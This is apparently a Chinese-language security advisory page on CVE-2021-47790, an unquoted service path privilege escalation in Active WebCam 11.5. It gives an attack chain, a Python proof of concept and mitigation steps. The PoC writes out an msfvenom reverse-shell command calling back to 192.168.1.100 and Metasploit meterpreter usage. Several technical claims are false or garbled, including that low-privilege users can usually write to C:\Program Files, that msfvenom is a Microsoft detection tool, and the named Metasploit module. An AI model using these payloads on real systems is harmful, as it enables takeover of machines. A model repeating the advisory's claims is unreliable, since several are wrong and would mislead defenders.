IPBUF安全漏洞报告
English
CVE-2021-47790 CVSS 7.8 高危

CVE-2021-47790 Active WebCam 未引号服务路径本地提权漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47790
漏洞类型
未引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Active WebCam 11.5

相关标签

未引号服务路径本地提权权限提升Active WebCamWindows服务高危漏洞CVE-2021-47790SYSTEM权限Metasploit漏洞利用

漏洞概述

CVE-2021-47790是影响Active WebCam 11.5软件的一个高危本地提权漏洞。该漏洞属于Windows系统中常见的未引号服务路径(Unquoted Service Path)安全问题。当Windows服务配置中的可执行文件路径包含空格且未使用引号包裹时,系统会按照空格分割路径并依次尝试执行各个路径下的可执行文件。攻击者利用这一特性,通过在中间目录中植入恶意可执行文件,当服务启动时,系统会优先执行攻击者放置的恶意程序,从而实现以SYSTEM高权限执行任意代码的目的。攻击者无需远程网络访问权限,但需要具备目标系统的本地低权限访问能力。由于该漏洞允许攻击者从低权限用户提升至系统最高权限,因此对企业内网安全构成严重威胁。攻击成功后,攻击者可以完全控制受感染系统,执行任意操作,包括安装后门、窃取敏感数据、部署勒索软件等。

技术细节

未引号服务路径漏洞的根本原因在于Windows服务执行机制。当一个服务的可执行文件路径包含空格且未被引号包裹时,Windows会按照空格分割路径并尝试从左到右逐级查找可执行文件。例如,如果服务路径为C:\Program Files\Active WebCam\bin\Service.exe,Windows会依次尝试执行:C:\Program.exe、C:\Program Files\Active.exe、C:\Program Files\Active WebCam\bin\Service.exe。攻击者只需要在C:\Program Files\目录下创建一个名为Program.exe的恶意可执行文件,当服务重启时,系统会首先执行攻击者的恶意程序。该漏洞的技术细节包括:1) 服务以SYSTEM权限运行;2) 可执行文件路径包含空格;3) 路径未使用引号包裹;4) 攻击者对中间目录具有写权限。攻击者可以利用Metasploit框架的exploit/windows/local/service_permissions模块自动化利用此漏洞,通过创建并启动一个反弹shell类型的恶意服务来实现提权。

攻击链分析

STEP 1
步骤1
信息收集:攻击者通过低权限账户访问目标系统,使用wmic service、sc qc或PowerShell命令识别系统中存在未引号服务路径的可疑服务
STEP 2
步骤2
漏洞确认:检查Active WebCam服务路径,确认为C:\Program Files\Active WebCam\bin\Service.exe格式,路径中包含空格且未使用引号包裹
STEP 3
步骤3
权限检查:验证攻击者对C:\Program Files\目录是否具有写权限,通常低权限用户对此目录有写入权限
STEP 4
步骤4
生成恶意载荷:使用msfvenom或Metasploit框架生成Windows反弹shell或Meterpreter载荷,格式为.exe可执行文件
STEP 5
步骤5
植入恶意程序:将生成的恶意可执行文件重命名为Program.exe并放置到C:\Program Files\目录下
STEP 6
步骤6
触发服务重启:通过sc命令、任务计划程序或系统重启等方式触发Active WebCam服务重启
STEP 7
步骤7
权限提升:服务重启时,Windows按路径空格分割查找可执行文件,优先执行C:\Program Files\Program.exe,攻击者获得SYSTEM权限
STEP 8
步骤8
建立持久化:攻击者在获得SYSTEM权限后,通常会部署后门程序、安装rootkit或创建新管理员账户以维持持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47790 PoC - Unquoted Service Path Exploitation # Target: Active WebCam 11.5 # This PoC demonstrates the unquoted service path vulnerability import os import subprocess import shutil # Step 1: Identify the vulnerable service path # For Active WebCam, the service path typically looks like: # C:\Program Files\Active WebCam\bin\Service.exe vulnerable_path = r"C:\Program Files\Active WebCam\bin\Service.exe" exploit_dir = r"C:\Program Files" malicious_exe = os.path.join(exploit_dir, "Program.exe") # Step 2: Create malicious executable # In real attack, this would be a reverse shell or meterpreter payload def create_malicious_exe(): """ Create a simple malicious executable that establishes a reverse shell. For demonstration purposes, this creates a basic executable. """ # Generate reverse shell payload using msfvenom # msfvenom -p windows/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe > Program.exe # Example command to generate the payload: payload_cmd = "msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe" print(f"[*] Payload generation command: {payload_cmd}") print(f"[*] Malicious executable would be saved to: {malicious_exe}") # Alternative: Use PowerShell for quick exploitation # This creates a simple executable using PowerShell ps_payload = ''' $payload = "$env:windir\\System32\\cmd.exe /c calc.exe" $exePath = "C:\\Program Files\\Program.exe" [System.IO.File]::WriteAllBytes($exePath, [System.Convert]::FromBase64String("...")) ''' print(f"[*] PowerShell payload script available for deployment") # Step 3: Place malicious executable in the path def place_malicious_exe(): """ Place the malicious executable in the unquoted path location. Requires low-privilege access to write to C:\Program Files\ """ if os.path.exists(exploit_dir): # In real attack: copy malicious executable to exploit_dir print(f"[!] Placing malicious executable at: {malicious_exe}") # os.system(f"copy malicious.exe {malicious_exe}") return True return False # Step 4: Trigger service restart (requires admin privileges or service restart) def trigger_exploitation(): """ Trigger service restart to execute the malicious executable. Can be done via: - sc stop <service> && sc start <service> - system restart - Task Scheduler """ service_name = "ActiveWebCam" print(f"[*] Service restart command: sc stop {service_name} && sc start {service_name}") print(f"[*] Or wait for system reboot") # Metasploit Framework module usage: # use exploit/windows/local/service_permissions # set SESSION <session_id> # set PAYLOAD windows/meterpreter/reverse_tcp # set LHOST <attacker_ip> # set LPORT 4444 # run if __name__ == "__main__": print("=== CVE-2021-47790 Unquoted Service Path PoC ===") create_malicious_exe() place_malicious_exe() trigger_exploitation()

影响范围

Active WebCam 11.5及之前版本

防御指南

临时缓解措施
立即限制C:\Program Files\目录的写权限,移除非管理员用户对该目录的写入能力;使用微软安全工具msfvenom或PowerSploit框架中的Find-PathHijack模块检测系统中所有未引号服务路径;对于必须继续使用Active WebCam的场景,可以手动修改服务注册表项,在ImagePath值中使用完整引号包裹路径,同时使用icacls命令确保服务目录权限正确配置;部署端点检测与响应(EDR)解决方案监控可疑的服务重启行为和异常进程创建活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表